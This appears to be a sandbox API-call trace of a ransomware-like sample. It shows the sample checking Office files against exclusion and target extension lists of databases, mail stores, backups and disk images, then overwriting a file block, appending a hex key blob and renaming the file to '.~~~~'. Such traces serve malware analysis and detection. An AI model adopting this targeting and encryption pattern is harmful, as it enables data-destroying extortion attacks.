	[0138.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".com") returned 0x0
	[0138.776] lstrlenW (lpString=".lnk") returned 4
	[0138.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".lnk") returned 0x0
	[0138.776] lstrlenW (lpString=".msp") returned 4
	[0138.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".msp") returned 0x0
	[0138.776] lstrlenW (lpString=".pif") returned 4
	[0138.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".pif") returned 0x0
	[0138.776] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0138.779] lstrlenW (lpString=".sqb") returned 4
	[0138.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".sqb") returned 0x0
	[0138.779] lstrlenW (lpString=".ost") returned 4
	[0138.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".ost") returned 0x0
	[0138.779] lstrlenW (lpString=".txt") returned 4
	[0138.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".txt") returned 0x0
	[0138.779] lstrlenW (lpString=".mdt") returned 4
	[0138.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".mdt") returned 0x0
	[0138.779] lstrlenW (lpString=".BDB") returned 4
	[0138.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".BDB") returned 0x0
	[0138.779] lstrlenW (lpString=".eql") returned 4
	[0138.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".eql") returned 0x0
	[0138.779] lstrlenW (lpString=".DBF") returned 4
	[0138.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DBF") returned 0x0
	[0138.779] lstrlenW (lpString=".EQL") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".EQL") returned 0x0
	[0138.780] lstrlenW (lpString=".FDB") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".FDB") returned 0x0
	[0138.780] lstrlenW (lpString=".EDB") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".EDB") returned 0x0
	[0138.780] lstrlenW (lpString=".DACPAC") returned 7
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.780] lstrlenW (lpString=".VHD") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".VHD") returned 0x0
	[0138.780] lstrlenW (lpString=".DBV") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DBV") returned 0x0
	[0138.780] lstrlenW (lpString=".dacpac") returned 7
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dacpac") returned 0x0
	[0138.780] lstrlenW (lpString=".sdf") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".sdf") returned 0x0
	[0138.780] lstrlenW (lpString=".accdb") returned 6
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".accdb") returned 0x0
	[0138.780] lstrlenW (lpString=".DBX") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DBX") returned 0x0
	[0138.780] lstrlenW (lpString=".MDT") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".MDT") returned 0x0
	[0138.780] lstrlenW (lpString=".SQB") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".SQB") returned 0x0
	[0138.780] lstrlenW (lpString=".vhd") returned 4
	[0138.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".vhd") returned 0x0
	[0138.780] lstrlenW (lpString=".bac") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".bac") returned 0x0
	[0138.781] lstrlenW (lpString=".mdf") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".mdf") returned 0x0
	[0138.781] lstrlenW (lpString=".BAK") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".BAK") returned 0x0
	[0138.781] lstrlenW (lpString=".BAC") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".BAC") returned 0x0
	[0138.781] lstrlenW (lpString=".dbs") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dbs") returned 0x0
	[0138.781] lstrlenW (lpString=".vhdx") returned 5
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".vhdx") returned 0x0
	[0138.781] lstrlenW (lpString=".NDF") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".NDF") returned 0x0
	[0138.781] lstrlenW (lpString=".dat") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dat") returned 0x0
	[0138.781] lstrlenW (lpString=".DBS") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DBS") returned 0x0
	[0138.781] lstrlenW (lpString=".CKP") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".CKP") returned 0x0
	[0138.781] lstrlenW (lpString=".edb") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".edb") returned 0x0
	[0138.781] lstrlenW (lpString=".PST") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".PST") returned 0x0
	[0138.781] lstrlenW (lpString=".dbf") returned 4
	[0138.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dbf") returned 0x0
	[0138.781] lstrlenW (lpString=".SQL") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".SQL") returned 0x0
	[0138.782] lstrlenW (lpString=".pst") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".pst") returned 0x0
	[0138.782] lstrlenW (lpString=".dbv") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dbv") returned 0x0
	[0138.782] lstrlenW (lpString=".SDF") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".SDF") returned 0x0
	[0138.782] lstrlenW (lpString=".dtxs") returned 5
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dtxs") returned 0x0
	[0138.782] lstrlenW (lpString=".db3") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".db3") returned 0x0
	[0138.782] lstrlenW (lpString=".OST") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".OST") returned 0x0
	[0138.782] lstrlenW (lpString=".dbx") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dbx") returned 0x0
	[0138.782] lstrlenW (lpString=".DB3") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DB3") returned 0x0
	[0138.782] lstrlenW (lpString=".DAT") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DAT") returned 0x0
	[0138.782] lstrlenW (lpString=".VHDX") returned 5
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".VHDX") returned 0x0
	[0138.782] lstrlenW (lpString=".ndf") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".ndf") returned 0x0
	[0138.782] lstrlenW (lpString=".DB") returned 3
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DB") returned 0x0
	[0138.782] lstrlenW (lpString=".sql") returned 4
	[0138.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".sql") returned 0x0
	[0138.783] lstrlenW (lpString=".MYD") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".MYD") returned 0x0
	[0138.783] lstrlenW (lpString=".DBT") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DBT") returned 0x0
	[0138.783] lstrlenW (lpString=".ACCDB") returned 6
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.783] lstrlenW (lpString=".fdb") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".fdb") returned 0x0
	[0138.783] lstrlenW (lpString=".bak") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".bak") returned 0x0
	[0138.783] lstrlenW (lpString=".myd") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".myd") returned 0x0
	[0138.783] lstrlenW (lpString=".DTXS") returned 5
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".DTXS") returned 0x0
	[0138.783] lstrlenW (lpString=".ckp") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".ckp") returned 0x0
	[0138.783] lstrlenW (lpString=".dbt") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".dbt") returned 0x0
	[0138.783] lstrlenW (lpString=".db") returned 3
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".db") returned 0x0
	[0138.783] lstrlenW (lpString=".TXT") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".TXT") returned 0x0
	[0138.783] lstrlenW (lpString=".MDF") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".MDF") returned 0x0
	[0138.783] lstrlenW (lpString=".bdb") returned 4
	[0138.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".bdb") returned 0x0
	[0138.784] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0138.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.784] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0138.785] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.785] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0138.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0138.785] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25877555880) returned 1
	[0138.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbc2465b0, dwHighDateTime=0x1d60e1e)) 
	[0138.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0138.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0138.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0138.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825d68
	[0138.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825d68 | out: hHeap=0x300000) returned 1
	[0138.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a430
	[0138.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a430 | out: hHeap=0x300000) returned 1
	[0138.787] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0138.787] GetLastError () returned 0x0
	[0138.787] GetLastError () returned 0x0
	[0138.787] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0138.787] GetLastError () returned 0x0
	[0138.788] GetLastError () returned 0x0
	[0138.788] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.886] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.886] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.887] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.887] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.888] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.888] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.888] CloseHandle (hObject=0x138) returned 1
	[0138.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a580
	[0138.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css.~~~~")) returned 1
	[0139.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a580 | out: hHeap=0x300000) returned 1
	[0139.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0139.626] GetLastError () returned 0x0
	[0139.626] RtlWakeConditionVariable () returned 0x0
	[0139.627] GetCurrentThreadId () returned 0x9cc
	[0139.627] GetCurrentThreadId () returned 0x9cc
	[0139.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0139.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399908 | out: hHeap=0x300000) returned 1
	[0139.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825e80 | out: hHeap=0x300000) returned 1
	[0139.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399908
	[0139.627] lstrlenW (lpString=".scr") returned 4
	[0139.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".scr") returned 0x0
	[0139.627] lstrlenW (lpString=".cmd") returned 4
	[0139.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".cmd") returned 0x0
	[0139.627] lstrlenW (lpString=".dll") returned 4
	[0139.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dll") returned 0x0
	[0139.627] lstrlenW (lpString=".bat") returned 4
	[0139.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".bat") returned 0x0
	[0139.627] lstrlenW (lpString=".cpl") returned 4
	[0139.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".cpl") returned 0x0
	[0139.627] lstrlenW (lpString=".sys") returned 4
	[0139.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".sys") returned 0x0
	[0139.627] lstrlenW (lpString=".msc") returned 4
	[0139.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".msc") returned 0x0
	[0139.628] lstrlenW (lpString=".com") returned 4
	[0139.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".com") returned 0x0
	[0139.628] lstrlenW (lpString=".lnk") returned 4
	[0139.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".lnk") returned 0x0
	[0139.628] lstrlenW (lpString=".msp") returned 4
	[0139.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".msp") returned 0x0
	[0139.628] lstrlenW (lpString=".pif") returned 4
	[0139.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".pif") returned 0x0
	[0139.628] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0139.630] lstrlenW (lpString=".sqb") returned 4
	[0139.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".sqb") returned 0x0
	[0139.630] lstrlenW (lpString=".ost") returned 4
	[0139.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".ost") returned 0x0
	[0139.630] lstrlenW (lpString=".txt") returned 4
	[0139.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".txt") returned 0x0
	[0139.630] lstrlenW (lpString=".mdt") returned 4
	[0139.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".mdt") returned 0x0
	[0139.630] lstrlenW (lpString=".BDB") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".BDB") returned 0x0
	[0139.631] lstrlenW (lpString=".eql") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".eql") returned 0x0
	[0139.631] lstrlenW (lpString=".DBF") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DBF") returned 0x0
	[0139.631] lstrlenW (lpString=".EQL") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".EQL") returned 0x0
	[0139.631] lstrlenW (lpString=".FDB") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".FDB") returned 0x0
	[0139.631] lstrlenW (lpString=".EDB") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".EDB") returned 0x0
	[0139.631] lstrlenW (lpString=".DACPAC") returned 7
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.631] lstrlenW (lpString=".VHD") returned 4
